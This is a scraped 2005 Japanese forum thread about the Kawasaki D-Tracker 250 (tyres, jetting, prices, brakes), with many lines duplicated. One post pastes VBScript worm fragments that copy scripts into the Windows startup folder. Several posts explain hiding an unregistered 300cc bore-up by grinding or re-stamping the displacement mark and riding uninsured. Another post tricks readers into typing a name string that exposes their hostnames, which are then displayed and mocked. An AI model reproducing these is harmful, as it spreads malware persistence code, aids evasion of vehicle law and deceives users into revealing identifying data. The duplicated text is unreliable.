ダートでの走破性は明らかに落ちる。直線でもおっかなくて飛ばせなくなる。
リア１７インチはビッグオフ用のがあるが、250にはオーバースペックだし高いのが多い。
（最近は２５０クラスのＲ１７はほとんどないからね）
ビッグオフ乗りでもわざわざ１８インチにする奴がいるくらいだし、
オフで乗りたければ２１／１８が一番。１７にしたければスペアホイール用意して
モタード、というのが無難だと思うよ。
ダートでの走破性は明らかに落ちる。直線でもおっかなくて飛ばせなくなる。
リア１７インチはビッグオフ用のがあるが、250にはオーバースペックだし高いのが多い。
（最近は２５０クラスのＲ１７はほとんどないからね）
ビッグオフ乗りでもわざわざ１８インチにする奴がいるくらいだし、
オフで乗りたければ２１／１８が一番。１７にしたければスペアホイール用意して
モタード、というのが無難だと思うよ。
855 ：７７４ＲＲ：05/03/20 13:25:19 ID:asDGMclH
吸排気変更age
Dトラ03
エキパイ+サイレンサ:規制前
ブタ鼻:250R
KLEENカット
MJ128,SJ38,NJワッシャ１枚,PS1/4戻し
アフタなし谷なしでトルクアップと伸びにくさの変化はだいたい予想通り。
ちと濃い目？吸排気音は自分的にこれぐらいがちょうどいい感じ。
Dトラ03
エキパイ+サイレンサ:規制前
ブタ鼻:250R
KLEENカット
MJ128,SJ38,NJワッシャ１枚,PS1/4戻し
アフタなし谷なしでトルクアップと伸びにくさの変化はだいたい予想通り。
ちと濃い目？吸排気音は自分的にこれぐらいがちょうどいい感じ。
乗りだし42ﾏｿ！！演技悪い数字だから気をつけてのらなきゃ…
857 ：７７４ＲＲ：05/03/20 23:01:06 ID:5RQ1D+LR
３００ｃｃ化がバレて捕まった人っているんですか？
858 ：７７４ＲＲ：05/03/20 23:33:16 ID:tFggOzKW
>>850
俺は04の白の新車買っちゃったよ！しかも格安！あとは免許待ち！白ｶｯｺｲｲよね！最初は黒にするつもりだったけど白に一目惚れしたW
俺は04の白の新車買っちゃったよ！しかも格安！あとは免許待ち！白ｶｯｺｲｲよね！最初は黒にするつもりだったけど白に一目惚れしたW
脱税ぞなもし。
>>858
早く免許取れるといいね。俺も白に一目惚れして買ったんだけど、
シュラウドのニーグリップする辺りの汚れが目立つよ。
コンパウンドで磨けば綺麗になると思うけど、ピカピカで乗るバイクじゃないし。
早く免許取れるといいね。俺も白に一目惚れして買ったんだけど、
シュラウドのニーグリップする辺りの汚れが目立つよ。
コンパウンドで磨けば綺麗になると思うけど、ピカピカで乗るバイクじゃないし。
やっぱり青は不人気か…どーせオルペンするからいいけど(･∀･)
無車検車になるから必然的に無保険になるからなぁ。
任意保険なしでのるのは正直怖い
任意保険なしでのるのは正直怖い
865 ：７７４ＲＲ：05/03/21 00:30:46 ID:fUdTjvob
>859
そのおまわりも実はトラ糊だったり？
そのおまわりも実はトラ糊だったり？
ボアアップして登録250ccのままで任意保険に入ってたらアフォってことだな。
ボアアップして登録しないぐらいならDRZ400SM買うよ。
>>862
俺04の青。
街中で見たこと無い…
昔の青はたまに見るんだけどなぁ
ボアアップして登録しないぐらいならDRZ400SM買うよ。
>>862
俺04の青。
街中で見たこと無い…
昔の青はたまに見るんだけどなぁ
867 ： ：05/03/21 00:44:10 ID:23qVJed/
300化だとシリンダを換えるから、じっくり排気量の部分を見られたら
ばれちゃうからね。排気量刻印削ればどうかとも思うけど。
よっぽどでなければ、エンジン開けて中身を見るまではしないだろうから。
とはいえ、違法行為を推奨するものじゃないけど。
KLX650買おうよ。
ばれちゃうからね。排気量刻印削ればどうかとも思うけど。
よっぽどでなければ、エンジン開けて中身を見るまではしないだろうから。
とはいえ、違法行為を推奨するものじゃないけど。
KLX650買おうよ。
>>868
倍以上になってどうすんだよ
倍以上になってどうすんだよ
FTR買いにバイク屋行ったらその隣に虎04白が。
身長が180ってのもあって、車体のでかいD虎にガツンとやられちまったよ。
しかし予算はFTR分しかないので苦しんでるところだぜ。
くわー白ホスィ
身長が180ってのもあって、車体のでかいD虎にガツンとやられちまったよ。
しかし予算はFTR分しかないので苦しんでるところだぜ。
くわー白ホスィ
>>867
俺はしませんね。
したとしてもちゃんと車検通して保険も250cc以上のに変更しますよ。
結局後で事故起きた時に泣きを見るのは自分ですからね。
ま、結局は自己責任ってやつですな（ﾟДﾟ)y─┛~~
俺はしませんね。
したとしてもちゃんと車検通して保険も250cc以上のに変更しますよ。
結局後で事故起きた時に泣きを見るのは自分ですからね。
ま、結局は自己責任ってやつですな（ﾟДﾟ)y─┛~~
872 ：７７４ＲＲ：2005/03/21(月) 05:45:23 ID:rJUG3gVx
>>870
FTR分の予算を頭金に出して残りはﾛｰﾝなんてのはどうです？僕なんか貯金無いからフルﾛｰﾝですよ（笑）それに比べたら楽な気が…高い買い物やし本当に欲しいものを買うべきですよ！
FTR分の予算を頭金に出して残りはﾛｰﾝなんてのはどうです？僕なんか貯金無いからフルﾛｰﾝですよ（笑）それに比べたら楽な気が…高い買い物やし本当に欲しいものを買うべきですよ！
FTRも値段に見合った良いバイクだが
ここは妥協せずにＤトラ買うべきだよ！
Ｄトラほんと良いね…かなり満足してる♪
ここは妥協せずにＤトラ買うべきだよ！
Ｄトラほんと良いね…かなり満足してる♪
874 ：７７４ＲＲ：2005/03/21(月) 08:28:15 ID:8iYd+qS5
高速道路２人のり解禁で３００ｃｃ化する人増えそう。
02白トラに乗っている俺は勝ち組。
876 ：７７４ＲＲ：2005/03/21(月) 09:35:44 ID:HrWh46nL
>>848
あ～あ、中身ボロボロｗ
あ～あ、中身ボロボロｗ
877 ：７７４ＲＲ：2005/03/21(月) 09:39:10 ID:8LchhcEc
前スレにもあったが、型遅れを新車で買うのって賭けだな
shopによっちゃあ、エンジンやギアが錆だらけって場合があるみたいだし
shopによっちゃあ、エンジンやギアが錆だらけって場合があるみたいだし
879 ：７７４ＲＲ：2005/03/21(月) 09:43:11 ID:y1utyc64
０５年モデルの新車かった漏れはセフセフ
880 ：７７４ＲＲ：2005/03/21(月) 09:48:22 ID:9vAzS61A
残り物には福はないのね
新車のエンジン内部が錆びるなんてよほど保存状態が悪くないと。
気温差が激しくて内部で結露するとかしないと。
普通に建物の中に置いてあるなら2～3年は大丈夫だよ。
気温差が激しくて内部で結露するとかしないと。
普通に建物の中に置いてあるなら2～3年は大丈夫だよ。
882 ：７７４ＲＲ：2005/03/21(月) 10:22:31 ID:8LchhcEc
店の中で一年中放置は痛いな
883 ：７７４ＲＲ：2005/03/21(月) 11:09:37 ID:MH/RSRP6
で、話かわるがバイクの原価って安すぎだよね。
売値の３分の１位でできてるんだろ？
売値の３分の１位でできてるんだろ？
884 ：７７４ＲＲ：2005/03/21(月) 13:11:10 ID:LkR8D2QG
３００ｃｃと２５０ｃｃの差って乗り比べて明確ですか？
それとも３００ｃｃにして１週間もすると２５０ｃｃの時みたいに
物足りなくなるのでしょうか？
それとも３００ｃｃにして１週間もすると２５０ｃｃの時みたいに
物足りなくなるのでしょうか？
885 ：７７４ＲＲ：2005/03/21(月) 14:59:08 ID:MH/RSRP6
>>884明確です。
でも、物足りなくなると思う。
でも、物足りなくなると思う。
886 ：７７４ＲＲ：2005/03/21(月) 16:16:11 ID:kMH7MOcI
ステップのゴム、付けてる派と取る派、どっちが多いだろう？
しかしこのバイク、使ってないネジ穴が結構あって、ねじが振動で落ちた
のか最初から無いのかよくわからん。新車だからとても気になる。
しかしこのバイク、使ってないネジ穴が結構あって、ねじが振動で落ちた
のか最初から無いのかよくわからん。新車だからとても気になる。
887 ：７７４ＲＲ：2005/03/21(月) 16:29:07 ID:5p3puaZq
>886
俺はゴム無し生派！純正の外したら格好悪くなったので今はDRCのﾜｲﾄﾞｽﾃｯﾌﾟに変更
俺はゴム無し生派！純正の外したら格好悪くなったので今はDRCのﾜｲﾄﾞｽﾃｯﾌﾟに変更
888 ：７７４ＲＲ：2005/03/21(月) 16:39:25 ID:LkR8D2QG
無し派ですね。無い方が踏ん張りがきく
890 ：７７４ＲＲ：2005/03/21(月) 17:08:44 ID:dr2q7bVM
ＤトラとＤＲ－Ｚ４００ＳＭで迷ってます。
ＤトラをＤＲと比べていい面を教えてください。
ＤトラをＤＲと比べていい面を教えてください。
安い
軽い
アフターパーツいっぱい
軽い
アフターパーツいっぱい
892 ：７７４ＲＲ：2005/03/21(月) 18:08:49 ID:kMH7MOcI
車検があるかないか。
おれはSMがほしい
だってD虎もってるし
だってD虎もってるし
894 ：７７４ＲＲ：2005/03/21(月) 18:22:05 ID:dr2q7bVM
890です。
891さん、892さんありがとうです。
Ｄトラ アフターパーツいっぱい、車検ナシ、軽い、安い
ＤＲ 足回りイイ、パワーあり
こんな感じですか？
使い方は、ツーリング（高速あり）、街乗りがほとんどです。
Ｄトラ（ノーマル）の最高速ってどのくらいですか？
891さん、892さんありがとうです。
Ｄトラ アフターパーツいっぱい、車検ナシ、軽い、安い
ＤＲ 足回りイイ、パワーあり
こんな感じですか？
使い方は、ツーリング（高速あり）、街乗りがほとんどです。
Ｄトラ（ノーマル）の最高速ってどのくらいですか？
895 ：７７４ＲＲ：2005/03/21(月) 18:49:53 ID:LkR8D2QG
ｄトラは１４０までストレスなく到達。
DRは１６０までストレスなく到達。
DRは１６０までストレスなく到達。
Dﾄﾗ…シャア
DR-Z…クワトロ大尉
DR-Z…クワトロ大尉
>>886
つけてる。
外してる人で、滑ってふくらはぎズバァっていう話を聞いて(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
>>894
ノーマルで140まででたけど、霊界が見えたからオススメしない。
Dトラは車検がないだけあって、結構無茶な改造ができるしパーツも豊富(推奨はしないけど)
あとは、基本が同じだからオフタイヤ買って二刀流とか。
感覚的にはおもちゃみたいな感じじゃないのかなぁ。
バイクに乗る事が目的だったらDRZ、バイクでいろいろやるのならDトラじゃない？
かっこつけたかったらXR400だね！
つけてる。
外してる人で、滑ってふくらはぎズバァっていう話を聞いて(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
>>894
ノーマルで140まででたけど、霊界が見えたからオススメしない。
Dトラは車検がないだけあって、結構無茶な改造ができるしパーツも豊富(推奨はしないけど)
あとは、基本が同じだからオフタイヤ買って二刀流とか。
感覚的にはおもちゃみたいな感じじゃないのかなぁ。
バイクに乗る事が目的だったらDRZ、バイクでいろいろやるのならDトラじゃない？
かっこつけたかったらXR400だね！
898 ：７７４ＲＲ：2005/03/21(月) 19:11:51 ID:LkR8D2QG
Dトラ・・・普通のゴクウ
DR・・・スーパーサイヤ人ゴクウ
DR・・・スーパーサイヤ人ゴクウ
>かっこつけたかったらXR400だね！
意味が分からん。あんな有り合わせの空冷シュラウドがかっこいいか？
意味が分からん。あんな有り合わせの空冷シュラウドがかっこいいか？
↑ する～汁！
300にして事故って保険出ないと怖いよな。
高級外車と事故って1:9でもとんでもない金額に・・・
高級外車と事故って1:9でもとんでもない金額に・・・
902 ：７７４ＲＲ：2005/03/21(月) 22:34:01 ID:9EfO0nYx
削れば分からない。
２４９ｃｃと打刻すればさらに分からない。
ちなみに俺は原付をボアアップして排気量が違うと切符を切られた
というのを聞いたことがない。
法に反すると思う奴はやらなければいい。
２４９ｃｃと打刻すればさらに分からない。
ちなみに俺は原付をボアアップして排気量が違うと切符を切られた
というのを聞いたことがない。
法に反すると思う奴はやらなければいい。
903 ：７７４ＲＲ：2005/03/21(月) 23:06:21 ID:LkR8D2QG
削ったら怪しまれる
905 ：７７４ＲＲ：2005/03/22(火) 00:13:19 ID:/N8qTslS
TZR125でセリカを抜いたってリアルGTOなＫ原ってここに
いるの？
いるの？
削る＝政治家国会答弁の「記憶にございません」だよなあ・・・
907 ：７７４ＲＲ：2005/03/22(火) 00:59:18 ID:kTG8kg+M
漏れは削ってる・・・
どっかのサイトで電気で溶かして292を249にしてたな。
アレって簡単に出来るのだろうか…
アレって簡単に出来るのだろうか…
909 ：加東秀吉 ◆dTUnIrjEe6 ：2005/03/22(火) 01:13:31 ID:Nph6YmVn
皆の衆・・・すまん・・・
峠でＤＲＺ４００ＳＭに負けますタ・・・
ＤＲＺ４００ＳＭ>> ヨシノヤのマフラー・キャブ・エアクリ装備
当方>>エンジン以外、一通り社外品
ふよふcc化にてリベンジ計画中。
>>890 あえて非力なＤ虎をチョイスすべし！！
峠でＤＲＺ４００ＳＭに負けますタ・・・
ＤＲＺ４００ＳＭ>> ヨシノヤのマフラー・キャブ・エアクリ装備
当方>>エンジン以外、一通り社外品
ふよふcc化にてリベンジ計画中。
>>890 あえて非力なＤ虎をチョイスすべし！！
遅レスすまんが今日改めてバイク屋見に行ったら、
チョット安く見積もってくれて2万円分オプションサービスするっていわれた。
もうマジに決めるわ。
FTR分を頭金にして分割しますアドバイスサンクス。
ところで2万分のオプション、おまいらなら何をくっ付ける？
俺はとりあえずフロントフェンダーを短いのにしてテールランプを変えようと思う。
チョット安く見積もってくれて2万円分オプションサービスするっていわれた。
もうマジに決めるわ。
FTR分を頭金にして分割しますアドバイスサンクス。
ところで2万分のオプション、おまいらなら何をくっ付ける？
俺はとりあえずフロントフェンダーを短いのにしてテールランプを変えようと思う。
>>898
笑った クワトロ弱すぎだな(擦違いスマンね)
笑った クワトロ弱すぎだな(擦違いスマンね)
912 ：加東秀吉 ◆dTUnIrjEe6 ：2005/03/22(火) 01:24:34 ID:Nph6YmVn
>>910 ペンスケ フロント強化スプリング￥16500-おすすめ
913 ：７７４ＲＲ：2005/03/22(火) 02:01:48 ID:LdZ3/Xui
914 ：７７４ＲＲ：2005/03/22(火) 02:47:13 ID:KDrd6xQp
KLXのフォークの取り方がわかりません。ホイール取って、トップブリッジ・アンダーステムのネジは緩めたのに、叩いてみてもダメでした。他に外すところはないですよね？
スレ違いかも知れないけど教えてください。
スレ違いかも知れないけど教えてください。
トップブリッジとステムのボルト緩めた割れ目を
マイナスでちょっと開いてみなはれ
マイナスでちょっと開いてみなはれ
916 ：７７４ＲＲ：2005/03/22(火) 03:37:32 ID:KDrd6xQp
917 ：７７４ＲＲ：2005/03/22(火) 06:50:51 ID:W/7A7GeB
年式遅れの新車のガタがどうこうというレスがあったので、
心配だったからバイク屋の店員に聞いてみた。
管理がずさんな店のバイクの場合はガタきてる事が多いとの事でした。
もしｍｏｒｅみたいに心配になってる人がいるかもしれないので書きこみますたんぐ
心配だったからバイク屋の店員に聞いてみた。
管理がずさんな店のバイクの場合はガタきてる事が多いとの事でした。
もしｍｏｒｅみたいに心配になってる人がいるかもしれないので書きこみますたんぐ
918 ：７７４ＲＲ：2005/03/22(火) 06:58:11 ID:1Fj7dER5
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"
920 ：７７４ＲＲ：2005/03/22(火) 07:31:28 ID:MJp42AOb
↑型遅れを新車で買った香具師のいやがらせか？ｗ
921 ：７７４ＲＲ：2005/03/22(火) 07:57:09 ID:BRJNfAIy
ヨシムラのハイカムってどんな感じか解ります？
ビートのは下はそのままで上が回るようになったって感じです。
ビートのは下はそのままで上が回るようになったって感じです。
>>910
追い金１５０００円でグライドライドのショックセットを入れると言うのはどう？
業販してないから仕入れるのは無理だと思うけどね。
店でしてもらえるものならクリーンカットに豚鼻外しとキャブのジェット交換調整と
フレームガードを付けてもらえばちょうど２００００円ぐらいかな。
追い金１５０００円でグライドライドのショックセットを入れると言うのはどう？
業販してないから仕入れるのは無理だと思うけどね。
店でしてもらえるものならクリーンカットに豚鼻外しとキャブのジェット交換調整と
フレームガードを付けてもらえばちょうど２００００円ぐらいかな。
923 ：７７４ＲＲ：2005/03/22(火) 08:49:51 ID:J1/PeF08
教えてください。
02DトラのCVKの豚鼻を外してジェットを132にニードルを3段にしました
タコメーターを付けて高回転の上がり方が鈍いことが分かりましたので
ジェットを交換しようと思っていますが薄い方向で試す方が見つけやすいですか？
経験者の方よろしくお願いします。
マフラーは走行会用にストレート管です。
02DトラのCVKの豚鼻を外してジェットを132にニードルを3段にしました
タコメーターを付けて高回転の上がり方が鈍いことが分かりましたので
ジェットを交換しようと思っていますが薄い方向で試す方が見つけやすいですか？
経験者の方よろしくお願いします。
マフラーは走行会用にストレート管です。
俺は嫌いな奴がボアアップしてたら、通報するかもしれん。
どういう対処されるのか見てみたい。
どういう対処されるのか見てみたい。
濃いと思い135、138、140、142を買ってきました。
ハズレかな？
ハズレかな？
エンジン弄ってる香具師らに質問
足回りはどんな仕様にしてますか？
パワーうｐした分ノーマルじゃ辛いと思ったので、聞いてみますた。
足回りはどんな仕様にしてますか？
パワーうｐした分ノーマルじゃ辛いと思ったので、聞いてみますた。
>>926
陰湿だな、お前。キモイよ。
陰湿だな、お前。キモイよ。
無申告でボアうｐして乗るやつは任意保険なんて入らないから無問題。
>>929
びびってる？
びびってる？
932 ：７７４ＲＲ：2005/03/22(火) 16:19:31 ID:YUMKr2oN
933 ：７７４ＲＲ：2005/03/22(火) 16:20:35 ID:90CsyJnV
足回りはノーマルで充分だお
ドリフト走行ばかりするのならフロント変えても良いけど
ドリフト走行ばかりするのならフロント変えても良いけど
934 ：７７４ＲＲ：2005/03/22(火) 16:23:11 ID:r70wCbgg
935 ：７７４ＲＲ：2005/03/22(火) 16:24:50 ID:LHPyPbif
ｻｰｷｯﾄ走ってﾀｲﾑを…とかだったらやった方がいいだろうけど､別にﾉｰﾏﾙでも問題無い｡
936 ：７７４ＲＲ：2005/03/22(火) 16:31:12 ID:eY5mUQpi
ライトだけはＨＩＤにかえるのをお勧めする
937 ：７７４ＲＲ：2005/03/22(火) 16:34:24 ID:oCFzwzGZ
938 ：910：2005/03/22(火) 18:12:32 ID:6o/nSnLM
>>913
乗り出し45万で、オプション2万つけるってことになった。
まだ契約はしてない。明日あたりいけたらハンコと住民票もって逝って来る。
2万分のオプションについてレスくれた方々ありがとう。
色々カタログ眺めて決めるわ。
乗り出し45万で、オプション2万つけるってことになった。
まだ契約はしてない。明日あたりいけたらハンコと住民票もって逝って来る。
2万分のオプションについてレスくれた方々ありがとう。
色々カタログ眺めて決めるわ。
45万かぁ。'05KLXを乗り出し53万で買った俺は負け組？
しかも、整備させてもイマイチ信用できないし＞バイク屋
##いや、２級整備士もちらしいから腕はあるんだろうけど
##話をしてて説明足りないしウソをつかれてる不信感がつのる
>>オプション
荷物多いならキャリアあった方が便利だよ。
ホントに積載性悪いから。
しかも、整備させてもイマイチ信用できないし＞バイク屋
##いや、２級整備士もちらしいから腕はあるんだろうけど
##話をしてて説明足りないしウソをつかれてる不信感がつのる
>>オプション
荷物多いならキャリアあった方が便利だよ。
ホントに積載性悪いから。
940 ：加東秀吉 ◆dTUnIrjEe6 ：2005/03/22(火) 21:11:28 ID:Nph6YmVn
941 ：７７４ＲＲ：2005/03/22(火) 21:23:24 ID:w0kfKa8r
ところで、みんなは出先の盗難防止にはどういうロック使ってますか？
収納スペースなんてゼロに近いから、俺はクリプトナイトのディスクロック1個のみです。
リアのタンデムバーみたいな所に付けて走ってたら、
サイドカバーやBEET管にがんがん当たって傷つきまくりでした。
あと、フロントブレーキに不満があるんだが、
金無いんで、パッド＆ステンメッシュに交換しようと思うんだけど、
それなりに効果ありますか？
前からどうにかしようと思ってたんだが、昨日急停車のタクシーにカマ掘りそうになりまして・・
収納スペースなんてゼロに近いから、俺はクリプトナイトのディスクロック1個のみです。
リアのタンデムバーみたいな所に付けて走ってたら、
サイドカバーやBEET管にがんがん当たって傷つきまくりでした。
あと、フロントブレーキに不満があるんだが、
金無いんで、パッド＆ステンメッシュに交換しようと思うんだけど、
それなりに効果ありますか？
前からどうにかしようと思ってたんだが、昨日急停車のタクシーにカマ掘りそうになりまして・・
942 ：７７４ＲＲ：2005/03/22(火) 22:07:08 ID:Tl7dcOup
格段に効きが良くはならないが握ったときのコントロール性がアップする。
ノーマルは握りはじめが効かないが、パッドとホース交換で握りはじめから
効き始めるので十分扱い易くなる。
ただ320mmディスクを後でつける予定ならホース長が足りずまた買う必要がある。
ノーマルは握りはじめが効かないが、パッドとホース交換で握りはじめから
効き始めるので十分扱い易くなる。
ただ320mmディスクを後でつける予定ならホース長が足りずまた買う必要がある。
>>939
04年式の新古車っすから。05で白があったらそれにしてたと思うし。
でも中身は変わらないから錆とかさえ無かったら勝ちかな？
>>940
それも手だなあ。
基本的にﾏﾀｰﾘ街乗りで、たまに遠出するくらいだから、フルノーマルでも構わないっちゃ構わないんだよな。
バイク屋に言ってみますわ。
04年式の新古車っすから。05で白があったらそれにしてたと思うし。
でも中身は変わらないから錆とかさえ無かったら勝ちかな？
>>940
それも手だなあ。
基本的にﾏﾀｰﾘ街乗りで、たまに遠出するくらいだから、フルノーマルでも構わないっちゃ構わないんだよな。
バイク屋に言ってみますわ。
944 ：７７４ＲＲ：2005/03/22(火) 22:42:41 ID:z+vhnDj+
05年式を４５万で買った俺が勝ち組なのか？
945 ：７７４ＲＲ：2005/03/22(火) 22:43:38 ID:U1/yyrEz
>>944
うらやますぃ(ﾟДﾟ )ｳﾏｰ
うらやますぃ(ﾟДﾟ )ｳﾏｰ
946 ：７７４ＲＲ：2005/03/22(火) 22:48:54 ID:6n0OthHj
そんなもんだろ
そんなもんだ。
948 ：７７４ＲＲ：2005/03/22(火) 23:06:42 ID:fiuG0xXl
DQN御用達バイクのD虎は任意保険の加入率が非常に低いらしい。
オプション＋２万が限界なら値引き２万は無理だろ。
販売店はオプションを販売価額で仕入れてる訳じゃないからな。
小売だと販売価額の70％～80％ってのが普通だ。
まぁ、俺はバイク屋関係者じゃないから信憑性ある数字とはいえないし。
一時的に原価割れでうることなんてざらだし
販売店はオプションを販売価額で仕入れてる訳じゃないからな。
小売だと販売価額の70％～80％ってのが普通だ。
まぁ、俺はバイク屋関係者じゃないから信憑性ある数字とはいえないし。
一時的に原価割れでうることなんてざらだし
950 ：７７４ＲＲ：2005/03/22(火) 23:13:43 ID:+e6MkD8/
>>949
何故、お前はそんなに偉そうなの？
何故、お前はそんなに偉そうなの？
951 ：７７４ＲＲ：2005/03/22(火) 23:15:06 ID:NCnBQVi6
>>949
舐められない為に、言葉遣い無理するなよｗ
舐められない為に、言葉遣い無理するなよｗ
952 ：７７４ＲＲ：2005/03/22(火) 23:16:06 ID:pNDhTS78
偉そうな教えて君だな
高卒で終わりそうな希ガス
高卒で終わりそうな希ガス
953 ：７７４ＲＲ：2005/03/22(火) 23:20:32 ID:iKITW7qg
ID変えれば自演がばれないと信じていた15才引きこもりの春でした。
954 ：７７４ＲＲ：2005/03/22(火) 23:21:30 ID:sXh+7OWU
>>949
頭悪いのに無理すんなよｗ
頭悪いのに無理すんなよｗ
955 ：７７４ＲＲ：2005/03/22(火) 23:22:10 ID:KmltB/CI
携帯から書き込みすれば自演がばれないと信じていた1７歳の塗装工でした
956 ：７７４ＲＲ：2005/03/22(火) 23:23:02 ID:478qat53
>>953
自分のことかｗ
自分のことかｗ
957 ：７７４ＲＲ：2005/03/22(火) 23:24:30 ID:1Fj7dER5
>>949
■■■ ■■■
■厨厨厨■ ■■■■■
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■厨厨厨■■■■■
■厨厨■■■■
■厨■■■
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バイクにつけとけ。な！
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■厨厨厨厨■■■■■■
■厨厨厨■■■■■
■厨厨■■■■
■厨■■■
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バイクにつけとけ。な！
なんでみんな>949叩きに必死なんだ？ｗ
959 ：７７４ＲＲ：2005/03/22(火) 23:30:38 ID:L28aFUFd
典型的な叩かれ方だと思うが。
960 ：【吉で２馬力】：2005/03/22(火) 23:34:13 ID:L28aFUFd
ついにバイク板にも伝説の機能が実装されましたよ！(・∀・)
名前欄に、食火水嵐食炎氷山崎渉虹雹谷歩食雲と入力して書きこむだけ。
運勢と馬力が出るお！
是非やってみてね(*´д｀*)
名前欄に、食火水嵐食炎氷山崎渉虹雹谷歩食雲と入力して書きこむだけ。
運勢と馬力が出るお！
是非やってみてね(*´д｀*)
961 ：７７４ＲＲ：2005/03/22(火) 23:34:41 ID:h6qX638N
９・４・９！ ９・４・９！
おっす。おら悟空！！
偉そうでしたか。すんまそん。
偉そうでしたか。すんまそん。
963 ：【末吉で13馬力】：2005/03/22(火) 23:36:09 ID:KlobpFjm
964 ：【吉で23馬力】：2005/03/22(火) 23:37:08 ID:5SIMcyRP
965 ：【大吉で７５馬力】：2005/03/22(火) 23:37:57 ID:h6qX638N
馬力が半角の>>963は嘘つき野郎！
966 ：【小吉で53馬力】：2005/03/22(火) 23:38:08 ID:dzj6wPC8
馬力の意味がわからんｗｗｗｗ
でも楽しそうだねｗ
でも楽しそうだねｗ
967 ：食火水嵐食炎氷 R223091.ppp.dion.ne.jp虹雹谷歩食雲 ：2005/03/22(火) 23:39:22 ID:wcCDHXAf
test
968 ：【大吉で３．５馬力】：2005/03/22(火) 23:39:50 ID:AILNy2bE
DQNバイクスレの住人はやっぱりDQNだったか。
969 ：【ぴょん吉で51馬力】：2005/03/22(火) 23:39:52 ID:ZCasVaM6
てす
970 ：食火水嵐食炎氷 YahooBB219203008061.bbtec.net虹雹谷歩食雲：2005/03/22(火) 23:40:01 ID:P/j9jqG2
マジデか
971 ：【吉で14馬力】：2005/03/22(火) 23:41:41 ID:S0xsFHnB
やり方まちがってる人もいるな
972 ：【小凶で１０万馬力】：2005/03/22(火) 23:42:11 ID:zYvLlddl
ふしあなＳＵＮ！ ふしあなＳＵＮ！
973 ：R223091.ppp.dion.ne.jp：2005/03/22(火) 23:43:42 ID:wcCDHXAf
なるほどふしあなさんtrapだったのか。
974 ：Air1Aaf150.ngn.mesh.ad.jp：2005/03/22(火) 23:46:38 ID:6NNzwwNQ
とっととAirH"も規制しろや
975 ：７７４ＲＲ：2005/03/22(火) 23:46:54 ID:S0xsFHnB
>>967
>>970
／￣￣￣￣￣￣￣￣
| 特定しますた！
＼
￣∨￣￣￣￣￣￣
∧＿∧ ／￣￣￣￣￣￣￣
∧＿∧ （ ´Д｀ ） ＜ 特定しますた。
（ ´Д｀ ） ／⌒ ⌒ヽ ＼＿＿＿＿＿＿＿
／, / ／_／| へ ＼
(ぃ９ | （ぃ９ ./ / ＼ ＼.∧＿∧ ／￣￣￣￣￣￣￣
/ /、 / ./ ヽ （ ´Д｀ ）＜ しますた！
/ ∧_二つ （ / ∪ , / ＼＿＿＿＿＿＿＿
/ / ＼ .＼＼ (ぃ９ |
/ ＼ ＼ .＼＼ / / ,、 （（（ ））） ／￣￣￣￣￣￣￣
/ /~＼ ＼ > ） ） ./ ∧_二∃ （ ´Д｀ ） ＜ ますた！
/ / > ） / ／／ ./ ￣￣ ヽ (ぃ９ ） ＼＿＿＿＿＿＿＿
／ ノ / ／ / / / .＿/ /~￣￣/ ／ / ∧つ
/ ／ . / ./. / / / )⌒ ＿ ノ / ./ / ＼ (ﾟдﾟ) すた！
/ ./ （ ヽ､ （ ヽ ヽ | / （ ヽ､ / /⌒> ） ﾟ( )－
（ _) ＼__つ ＼__つ).し ＼__つ （＿) ＼_つ / > （ ﾟ∀ﾟ ）た！
>>970
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| 特定しますた！
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∧＿∧ （ ´Д｀ ） ＜ 特定しますた。
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(ぃ９ | （ぃ９ ./ / ＼ ＼.∧＿∧ ／￣￣￣￣￣￣￣
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/ ./ （ ヽ､ （ ヽ ヽ | / （ ヽ､ / /⌒> ） ﾟ( )－
（ _) ＼__つ ＼__つ).し ＼__つ （＿) ＼_つ / > （ ﾟ∀ﾟ ）た！
春
ホスト晒したって問題ないでしょ
もうちょっとで1000だってのに落ち着こうぜおまいら。
979 ：食火水嵐食炎氷 350237009683545虹雹谷歩食雲：2005/03/23(水) 02:00:02 ID:NL2eTRe8
m(゜゜)アーメン
なぜか新規で建てられない･･･
誰か新スレ建ててくれー
誰か新スレ建ててくれー